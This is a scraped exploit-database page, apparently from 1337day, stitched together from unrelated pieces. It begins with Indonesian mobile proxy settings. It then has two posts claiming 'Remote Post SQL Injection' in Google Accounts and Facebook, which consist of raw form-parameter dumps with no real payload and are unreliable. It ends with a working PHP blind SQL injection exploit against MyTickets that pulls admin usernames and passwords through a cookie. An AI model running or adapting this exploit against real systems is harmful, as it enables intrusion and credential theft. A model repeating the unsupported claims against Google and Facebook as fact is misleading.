Apn: telkomsel
Proxy: 136.0.61.151
Port: 80
APN: telkomsel | internet | andalan Anda
Proxy: 121.000.041.245
Port: 80
Set Opera Mini eXecutioner:
HTTP Primer Server: http://m.google.com tanpa : 80
Protokol: HTTP
Yang lain Standar.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [x] Official Website: http://www.1337day.com 0 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1 0 0 1 ========================================== 1 0 I'm Taurus Omar Member From Inj3ct0r TEAM 1 1 ========================================== 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1 | | | C _:_ A | Google Accounts - Remote Post SQL Injection | C _:_ A | -------------------------------------------------------------------------- ==> ABOUT ME: --- TAURUS OMAR --- INDEPENDENT SECURITY RESEARCHER --- ACCESOILEGAL.BLOGSPOT.COM --- @omartaurus --- omar-taurus[at]dragonsecurity[dot]org --- omar-taurus[at]live[dot]com ===> INFO: Author : TAURUS OMAR Category : Webapps / 0day Title Exploit : Google Accounts - Remote Post SQL Injection Vendor : Google Accounts URL Vendor : https://accounts.google.com/ 0day exploits : 1337day.com Inj3ct0r Exploit DataBase ==> SAMPLE REMOTE POST SQL INJECTION https://accounts.google.com/SignUp?dsh=-3394680781346882451 [ Remote Post SQL Injection ] https://accounts.google.com/SignUp?dsh=-770862407476176606 [ Remote Post SQL Injection ] https://accounts.google.com/SignUp?dsh=-5017265924696190063 [ Remote Post SQL Injection ] ==> EXPLOIT'S +service^FirstName=WCRTESTINPUT000000&LastName=WCRTESTINPUT000001&GmailAddress=WCRTESTINPUT000002&Passwd=WCRTESTINPUT000003&PasswdAgain=WCRTESTINPUT000004&BirthDay=WCRTESTINPUT000005&BirthYear=WCRTESTINPUT000006&RecoveryPhoneCountry=EC&RecoveryEmailAddress=WCRTESTINPUT000007&signuptoken=03AHJ_Vus-NeJEitTFwQZN9-W7tvvLR60Ext5ILMlzZ7CUM_kynLV39obH2HfVSL1vwjXCtjLdscVlBHg8tgtGsrclLApUDygqT035-BFMNhAQ82HCUXP56Sr8-eXt0Huv2UBragGRcDJ-jetYtG0CV8j-Oh1QGEsa3my2EGf7Ubs67qXLIDmBBmc&signuptoken_audio=03AHJ_Vutn2Vtf6cCvpXUFF6vSBmirO_hh8szeKcy1tVu-7BzjzIoW97GW3YJ_ID_6pBrFSCLW3RN87sV0L9r8tBaYo28KwQYeDiTYq423bG4ruBWQoesuFxYnIDWCgpgJLZHxq8Rpv2cO_o3RGw-K6wpqvzBSKgxUMOV6v9CUtVs5YybVL0Exo3HRHfPmCj1ZltSg747kQOdunPf45ondqCppfGgLJPxiMl0BMSt6Sn3QZGgeVtMp7N4&signupcaptchaStats=tI6dAp5ZN72-M5FAITF-5HT_Lo24fSX-3Kg1yBkdTy0:DKNJ4Hd39irFXaNhiJ6Hzw&recaptchaKeyVersion=0&recaptcha_challenge_field=03AHJ_Vus-NeJEitTFwQZN9-W7tvvLR60Ext5ILMlzZ7CUM_kynLV39obH2HfVSL1vwjXCtjLdscVlBHg8tgtGsrclLApUDygqT035-BFMNhAQ82HCUXP56Sr8-eXt0Huv2UBragGRcDJ-jetYtG0CV8j-Oh1QGEsa3my2EGf7Ubs67qXLIDmBBmc&recaptcha_response_field=WCRTESTINPUT000008&submitbutton=Next%20step&BirthMonth=01&Gender=FEMALE&CountryCode=AF&service=&timeStmp=1339964525237&secTok=.AG5fkS9GBXZIxFHkrNQr-ou2fUsVmHpnUw==&dsh=-3394680781346882451&ktl=&ktf=&_utf8=☃&bgresponse=js_disabled +service^BirthDay=WCRTESTINPUT000005&BirthYear=WCRTESTINPUT000006&RecoveryPhoneCountry=EC&RecoveryEmailAddress=WCRTESTINPUT000007&signuptoken=03AHJ_Vuv8iGo71NEw0sC3NhSiuW7-KiCr29IPZCRFM3NA8vO_65AfCu4fXoGFDfMjgvA3J6Jl223iB8JegRnRKh6FZ_VpiXkMUjqMkF28PxO2TU5vXc6dnGsFbs8L_b30onAU63HLH5V2QsI1VhuLITksfkRKk_29kA&signuptoken_audio=03AHJ_VuszKJ0XiQRiVFzfWHDCfI2vaYv7nW9WufYZ6VzVxWvCs6aPx6a3h2xaIIWl-BC8zKBbKLdEK64pOgijAHZlhkaukhM71nwWyStbox5W9YvniB3tosFATLxxY-oe0aiXKWTmSOlx_-Ols2J1VssMo5SDVxOvHZ5V1c8qt_eLVFOttue12mqrLr4Y_FY3TKJkL2uxwPpZKKA5CMb_-9-dhARQBmq00g&signupcaptchaStats=nff7Jgmbb5-B-4CCMAxFrHT_Lo24fSX-3Kg1yBkdTy0:r3Jh83qi797Sgs363bSzuw&recaptchaKeyVersion=0&recaptcha_challenge_field=03AHJ_Vuv8iGo71NEw0sC3NhSiuW7-KiCr29IPZCRFM3NA8vO_65AfCu4fXoGFDfMjgvA3J6Jl223iB8JegRnRKh6FZ_VpiXkMUjqMkF28PxO2TU5vXc6dnGsFbs8L_b30onAU63HLH5V2QsI1VhuLITksfkRKk_29kA&recaptcha_response_field=WCRTESTINPUT000008&submitbutton=Next step&BirthMonth=01&Gender=FEMALE&CountryCode=AF&service=&timeStmp=1339964709751&secTok=.AG5fkS9lhHkOYclS4_VC6q_tROYinHqGAg==&dsh=-770862407476176606&ktl=&ktf=&_utf8=☃&bgresponse=js_disabled&FirstName=WCRTESTINPUT000000&LastName=WCRTESTINPUT000001&GmailAddress=WCRTESTINPUT000002&Passwd=WCRTESTINPUT000003&PasswdAgain=1 +service^Gender=FEMALE&CountryCode=AF&service=&timeStmp=1339964709751&secTok=.AG5fkS9lhHkOYclS4_VC6q_tROYinHqGAg==&dsh=-770862407476176606&ktl=&ktf=&_utf8=☃&bgresponse=js_disabled&FirstName=WCRTESTINPUT000000&LastName=WCRTESTINPUT000001&GmailAddress=WCRTESTINPUT000002&Passwd=WCRTESTINPUT000003&PasswdAgain=WCRTESTINPUT000004&BirthDay=WCRTESTINPUT000005&BirthYear=WCRTESTINPUT000006&RecoveryPhoneCountry=EC&RecoveryEmailAddress=WCRTESTINPUT000007&signuptoken=03AHJ_Vuv8iGo71NEw0sC3NhSiuW7-KiCr29IPZCRFM3NA8vO_65AfCu4fXoGFDfMjgvA3J6Jl223iB8JegRnRKh6FZ_VpiXkMUjqMkF28PxO2TU5vXc6dnGsFbs8L_b30onAU63HLH5V2QsI1VhuLITksfkRKk_29kA&signuptoken_audio=03AHJ_VuszKJ0XiQRiVFzfWHDCfI2vaYv7nW9WufYZ6VzVxWvCs6aPx6a3h2xaIIWl-BC8zKBbKLdEK64pOgijAHZlhkaukhM71nwWyStbox5W9YvniB3tosFATLxxY-oe0aiXKWTmSOlx_-Ols2J1VssMo5SDVxOvHZ5V1c8qt_eLVFOttue12mqrLr4Y_FY3TKJkL2uxwPpZKKA5CMb_-9-dhARQBmq00g&signupcaptchaStats=nff7Jgmbb5-B-4CCMAxFrHT_Lo24fSX-3Kg1yBkdTy0:r3Jh83qi797Sgs363bSzuw&recaptchaKeyVersion=0&recaptcha_challenge_field=03AHJ_Vuv8iGo71NEw0sC3NhSiuW7-KiCr29IPZCRFM3NA8vO_65AfCu4fXoGFDfMjgvA3J6Jl223iB8JegRnRKh6FZ_VpiXkMUjqMkF28PxO2TU5vXc6dnGsFbs8L_b30onAU63HLH5V2QsI1VhuLITksfkRKk_29kA&recaptcha_response_field=WCRTESTINPUT000008&submitbutton=Next step&BirthMonth=01 +service^recaptcha_response_field=WCRTESTINPUT000008&submitbutton=Next%20step&BirthMonth=01&Gender=FEMALE&CountryCode=AF&service=&timeStmp=1339964709751&secTok=.AG5fkS9lhHkOYclS4_VC6q_tROYinHqGAg==&dsh=-770862407476176606&ktl=&ktf=&_utf8=☃&bgresponse=js_disabled&FirstName=WCRTESTINPUT000000&LastName=WCRTESTINPUT000001&GmailAddress=WCRTESTINPUT000002&Passwd=WCRTESTINPUT000003&PasswdAgain=WCRTESTINPUT000004&BirthDay=WCRTESTINPUT000005&BirthYear=WCRTESTINPUT000006&RecoveryPhoneCountry=EC&RecoveryEmailAddress=WCRTESTINPUT000007&signuptoken=03AHJ_Vuv8iGo71NEw0sC3NhSiuW7-KiCr29IPZCRFM3NA8vO_65AfCu4fXoGFDfMjgvA3J6Jl223iB8JegRnRKh6FZ_VpiXkMUjqMkF28PxO2TU5vXc6dnGsFbs8L_b30onAU63HLH5V2QsI1VhuLITksfkRKk_29kA&signuptoken_audio=03AHJ_VuszKJ0XiQRiVFzfWHDCfI2vaYv7nW9WufYZ6VzVxWvCs6aPx6a3h2xaIIWl-BC8zKBbKLdEK64pOgijAHZlhkaukhM71nwWyStbox5W9YvniB3tosFATLxxY-oe0aiXKWTmSOlx_-Ols2J1VssMo5SDVxOvHZ5V1c8qt_eLVFOttue12mqrLr4Y_FY3TKJkL2uxwPpZKKA5CMb_-9-dhARQBmq00g&signupcaptchaStats=nff7Jgmbb5-B-4CCMAxFrHT_Lo24fSX-3Kg1yBkdTy0:r3Jh83qi797Sgs363bSzuw&recaptchaKeyVersion=0&recaptcha_challenge_field=03AHJ_Vuv8iGo71NEw0sC3NhSiuW7-KiCr29IPZCRFM3NA8vO_65AfCu4fXoGFDfMjgvA3J6Jl223iB8JegRnRKh6FZ_VpiXkMUjqMkF28PxO2TU5vXc6dnGsFbs8L_b30onAU63HLH5V2QsI1VhuLITksfkRKk_29kA +service^service=&timeStmp=1339964525237&secTok=.AG5fkS9GBXZIxFHkrNQr-ou2fUsVmHpnUw==&dsh=-3394680781346882451&ktl=&ktf=&_utf8=☃&bgresponse=js_disabled&FirstName=WCRTESTINPUT000000&LastName=WCRTESTINPUT000001&GmailAddress=WCRTESTINPUT000002&Passwd=WCRTESTINPUT000003&PasswdAgain=WCRTESTINPUT000004&BirthDay=WCRTESTINPUT000005&BirthYear=WCRTESTINPUT000006&RecoveryPhoneCountry=EC&RecoveryEmailAddress=WCRTESTINPUT000007&signuptoken=03AHJ_Vus-NeJEitTFwQZN9-W7tvvLR60Ext5ILMlzZ7CUM_kynLV39obH2HfVSL1vwjXCtjLdscVlBHg8tgtGsrclLApUDygqT035-BFMNhAQ82HCUXP56Sr8-eXt0Huv2UBragGRcDJ-jetYtG0CV8j-Oh1QGEsa3my2EGf7Ubs67qXLIDmBBmc&signuptoken_audio=03AHJ_Vutn2Vtf6cCvpXUFF6vSBmirO_hh8szeKcy1tVu-7BzjzIoW97GW3YJ_ID_6pBrFSCLW3RN87sV0L9r8tBaYo28KwQYeDiTYq423bG4ruBWQoesuFxYnIDWCgpgJLZHxq8Rpv2cO_o3RGw-K6wpqvzBSKgxUMOV6v9CUtVs5YybVL0Exo3HRHfPmCj1ZltSg747kQOdunPf45ondqCppfGgLJPxiMl0BMSt6Sn3QZGgeVtMp7N4&signupcaptchaStats=tI6dAp5ZN72-M5FAITF-5HT_Lo24fSX-3Kg1yBkdTy0:DKNJ4Hd39irFXaNhiJ6Hzw&recaptchaKeyVersion=0&recaptcha_challenge_field=03AHJ_Vus-NeJEitTFwQZN9-W7tvvLR60Ext5ILMlzZ7CUM_kynLV39obH2HfVSL1vwjXCtjLdscVlBHg8tgtGsrclLApUDygqT035-BFMNhAQ82HCUXP56Sr8-eXt0Huv2UBragGRcDJ-jetYtG0CV8j-Oh1QGEsa3my2EGf7Ubs67qXLIDmBBmc&recaptcha_response_field=WCRTESTINPUT000008&submitbutton=Next%20step&BirthMonth=01&Gender=FEMALE&CountryCode=AF +service^secTok=.AG5fkS9jC2B0P7HTFpzGdwnc6CF9ZIyI2w==&dsh=-5017265924696190063&ktl=&ktf=&_utf8=☃&bgresponse=js_disabled&FirstName=WCRTESTINPUT000000&LastName=WCRTESTINPUT000001&GmailAddress=WCRTESTINPUT000002&Passwd=WCRTESTINPUT000003&PasswdAgain=WCRTESTINPUT000004&BirthDay=WCRTESTINPUT000005&BirthYear=WCRTESTINPUT000006&RecoveryPhoneCountry=EC&RecoveryEmailAddress=WCRTESTINPUT000007&signuptoken=03AHJ_VuvcMBtty9sszn1ZlYM65XZ_D5SVpCaInTeil9iTwox2fkIF-F-69dUkd0wxCVBSAeM-iYEkJsdX8gpQPJEC1dMSr-lOPOsJnrLcDiDGGM1MM5imRLcyLsGDHvNRbyPA-GmT8Rf7m4Lt7g30jz_1X2I9NNxqxg&signuptoken_audio=03AHJ_VuuAW2-omUNFAeRVjGubMnzfNT8d1sxOBoMrznM6XiZOjKzpwLiStM06K6t5JJyDoAhW0fK-ake2BHZLbAA-zzhO7XqR9V6QrED2-RPTRlVi50yXz1uMxISD1eI0hx9ranxhDSlnf0ML0Vhnei4bVWUEhGVLwVtGqJrCnRrhnTLZgxsWkrgEyLl1V8-01fRP2XHAnVknzf8aSz4StTvi35rB-hupi2UcOrfKaFTWbGDJFdbbH2A&signupcaptchaStats=vnxd_QEB93Y5tPg4SEBt9HT_Lo24fSX-3Kg1yBkdTy0:sb-sZtSa8xC_H1KqfmjUkw&recaptchaKeyVersion=0&recaptcha_challenge_field=03AHJ_VuvcMBtty9sszn1ZlYM65XZ_D5SVpCaInTeil9iTwox2fkIF-F-69dUkd0wxCVBSAeM-iYEkJsdX8gpQPJEC1dMSr-lOPOsJnrLcDiDGGM1MM5imRLcyLsGDHvNRbyPA-GmT8Rf7m4Lt7g30jz_1X2I9NNxqxg&recaptcha_response_field=WCRTESTINPUT000008&submitbutton=Next%20step&BirthMonth=01&Gender=FEMALE&CountryCode=AF&continue=https://accounts.google.com/ManageAccount&timeStmp=1339964528546 # 1337day.com [2012-06-18]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [x] Official Website: http://www.1337day.com 0 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1 0 0 1 ========================================== 1 0 I'm Taurus Omar Member From Inj3ct0r TEAM 1 1 ========================================== 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1 | | | C _:_ A | Facebook - Remote Post SQL Injection | C _:_ A | -------------------------------------------------------------------------- ==> ABOUT ME: --- TAURUS OMAR --- INDEPENDENT SECURITY RESEARCHER --- ACCESOILEGAL.BLOGSPOT.COM --- @omartaurus --- omar-taurus[at]dragonsecurity[dot]org --- omar-taurus[at]live[dot]com ===> INFO: Author : TAURUS OMAR Category : Webapps / 0day Title Exploit : Facebook - Remote Post SQL Injection Vendor : Facebook URL Vendor : http://www.facebook.com/ 0day exploits : 1337day.com Inj3ct0r Exploit DataBase ==> SAMPLE REMOTE POST SQL INJECTION http://www.facebook.com/login.php?login_attempt=1 [ Remote Post SQL Injection ] http://www.facebook.com/r.php?possible_fb_user=1 [ Remote Post SQL Injection ] http://www.facebook.com/r.php?locale=es_LA&possible_fb_user=1 [ Remote Post SQL Injection ] http://www.facebook.com/find-friends/index.php^jsonp=1 [ Remote Post SQL Injection ] https://www.facebook.com/r.php?fbpage_id=20531316728 [ Remote Post SQL Injection ] ==> EXPLOIT'S +amp;extra_2=AdvertisingLink%3ACREATE_AN_AD&charset_test=€,´,%E2%82%AC,%C2%B4,%E6%B0%B4,%D0%94,%D0%84&timezone=&lgnrnd=172128_Wkmc&lgnjs=n&locale=es_LA&lsd=AVo_L9kt&email=WCRTESTINPUT000000&pass=WCRTESTINPUT000001&default_persistent=0&next=http://www.facebook.com/advertising/?campaign_id=402047449186&placement=pflo&extra_1=not-admgr-user +trynum=1&charset_test=€,´,%E2%82%AC,%C2%B4,%E6%B0%B4,%D0%94,%D0%84&timezone=&lgnrnd=171806_rfMa&lgnjs=n&email=WCRTESTINPUT000000&pass=WCRTESTINPUT000001&default_persistent=0&login=Entrar&lsd=AVo_L9kt&next=https://www.facebook.com/browse/likes/?id=267999343307103&return_session=0&legacy_return=1&display=&session_key_only=0 +display=&session_key_only=0&trynum=1&charset_test=€,´,€,´,?,?,?&timezone=&lgnrnd=171806_rfMa&lgnjs=n&email=WCRTESTINPUT000000&pass=WCRTESTINPUT000001&default_persistent=0&login=Entrar&lsd=AVo_L9kt&next=https://www.facebook.com/browse/likes/?id=267999343307103&return_session=0&legacy_return=1 +login_str=wcrtestinput000000&password=wcrtestinput000001&lsd=avo_l9kt&importer_action=2&flow=2&type=1&callback_element_id=&tracked_params=[] +charset_test=€,´,€,´,?,?,?&timezone=&lgnrnd=171816_HdJ7&lgnjs=n&email=WCRTESTINPUT000000&pass=WCRTESTINPUT000001&default_persistent=0&login=Entrar&lsd=AVo_L9kt&next=https://www.facebook.com/browse/likes/?id=267999343307103&return_session=0&legacy_return=1&display=&session_key_only=0&trynum=1 +legacy_return=1&display=&session_key_only=0&trynum=1&charset_test=€,´,€,´,?,?,?&timezone=&lgnrnd=171816_HdJ7&lgnjs=n&email=WCRTESTINPUT000000&pass=WCRTESTINPUT000001&default_persistent=0&login=Entrar&lsd=AVo_L9kt&next=https://www.facebook.com/browse/likes/?id=267999343307103&return_session=0 +r=115+reg_instance=whvet-ygwqujbcwr0iwc_jcb&openid_token=&uo_ip=&key=&re=&mid=&fid=®_dropoff_id=®_dropoff_code=&ro_invite_signup_id=737818179100220658&terms=on&abtest_registration_group=1&referrer=&md5pass=&validate_mx_records=1&asked_to_login=0&ab_test_data=&firstname=wcrtestinput000000&lastname=wcrtestinput000001®_email__=wcrtestinput000002®_email_confirmation__=wcrtestinput000003®_passwd__=wcrtestinput000004&captcha_persist_data=aznwcfsbvtu_hsnl9ddzwtkd6b-l6k4sw6w5bf-7m80q4tuehmrrvmaoezd5uw_qan5757cni6lxooxdduakfouj-hhexh-gmmxfsuvdwouj5dkt_hfam-0xgtltzhe1kanr7x1m7s5wfqr75mukog2ylpcxdgo_nyz1-et-whce93nr-ddraaovwntqbpq0p-d-xkbv6-gmuklicm6bdc2zc_ffdx7nysuktmdlqgsutenuvgc3-rndgbfwuv7vlez9uvamllsjvp2hu7lmq2abyguj_prr5vv7euuhuq8ebgq1arpbs9t7mdteq17stmys_ovowrc2eno9qzkspeh4brsgx8oi6lg0yeccwspf4a&captcha_session=cmqamvx4apmppd9boq5hew&extra_challenge_params=authp=nonce.tt.time.new_audio_default&psig=qgnx8ieq-k9hb0c3ceqwfzaavyi&nonce=cmqamvx4apmppd9boq5hew&tt=ducvyhgabbkslmk3pkqnmd16nqi&time=1339980632&new_audio_default=1&recaptcha_type=password&captcha_response=wcrtestinput000005&sex=0&birthday_day=-1&birthday_month=-1&birthday_year=-1&lsd=avo_l9kt&invid=&a=&oi=&locale=es_la&app_bundle=&app_data=®_data=&app_id=&fbpage_id=20531316728®_oid=20531316728 # 1337day.com [2012-06-18]
<?php
/*
---------------------------------------------------------------
MyTickets <= Remote Blind SQL Injection Exploit by al-swisre
---------------------------------------------------------------
author...............: al-swisre
mail.................: oy3[at]hotmail[dot]com
software link........: http://phpx3.com/scripts.html#mytickets
affected versions....: from 1 to 2.0.8
[-] Vulnerable code in include/system/general/define.php:
43. if(empty($cookies['language'])){
44. setcookie('MyTickets_language',$setting['default_language'],time()+86400,"/");
45. $language = $setting['default_language'];
46. }else{
47. if($db->count('languages',"`id`='".$cookies['language']."'") == 0){
48. $language = $setting['default_language'];
49. }
50. $language = $cookies['language'];
52. }
52.
53. $language_array = $db->fetch($db->query("SELECT * FROM `languages` WHERE `id`='".$language."'"));
*/
print "\n+--------------------------------------------------------------------+";
print "\n| MyTickets <= Remote Blind SQL Injection Exploit by al-swisre |";
print "\n+--------------------------------------------------------------------+\n";
if (!extension_loaded('curl')) die("cURL extension required\n");
error_reporting(E_ERROR);
set_time_limit(0);
function get($url,$inj)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_COOKIE, "MyTickets_language=1$inj");
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_VERBOSE, 0);
$calis = curl_exec($curl);
@curl_close($calis);
return $calis;
}
function chek_get($connect)
{
if(eregi("include",$connect))
{
return false;
}
else
{
return true;
}
}
if ($argc < 2)
{
print "\nUsage......: php $argv[0] <url>\n";
print "\nExample....: php $argv[0] http://localhost/mytickets/";
print "\nExample....: php $argv[0] http://localhost/mytickets/\n";
die();
}
$sql_f = chek_get(get($argv[1],"' and 1='2 /*"));
$sql_t = chek_get(get($argv[1],"' and 1='1 /*"));
if($sql_t == $sql_f)
{
print "\n\t sorry: magic_quotes_gpc = On ): \n";
die();
}
print "\n\t[+] Getting Admin Username and Password\n\n\t";
for ($g = 1; $g <= 40; $g++) { //eidt
for ($i = 46; $i <= 122; $i++) {
$inject = chek_get(get($argv[1],"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,username,password)+frOm+members+liMit 0,1),".$g.",1))='".$i."/*"));
if($inject == true){print chr($i);}
}
}
?>
# 1337day.com [2012-06-18]
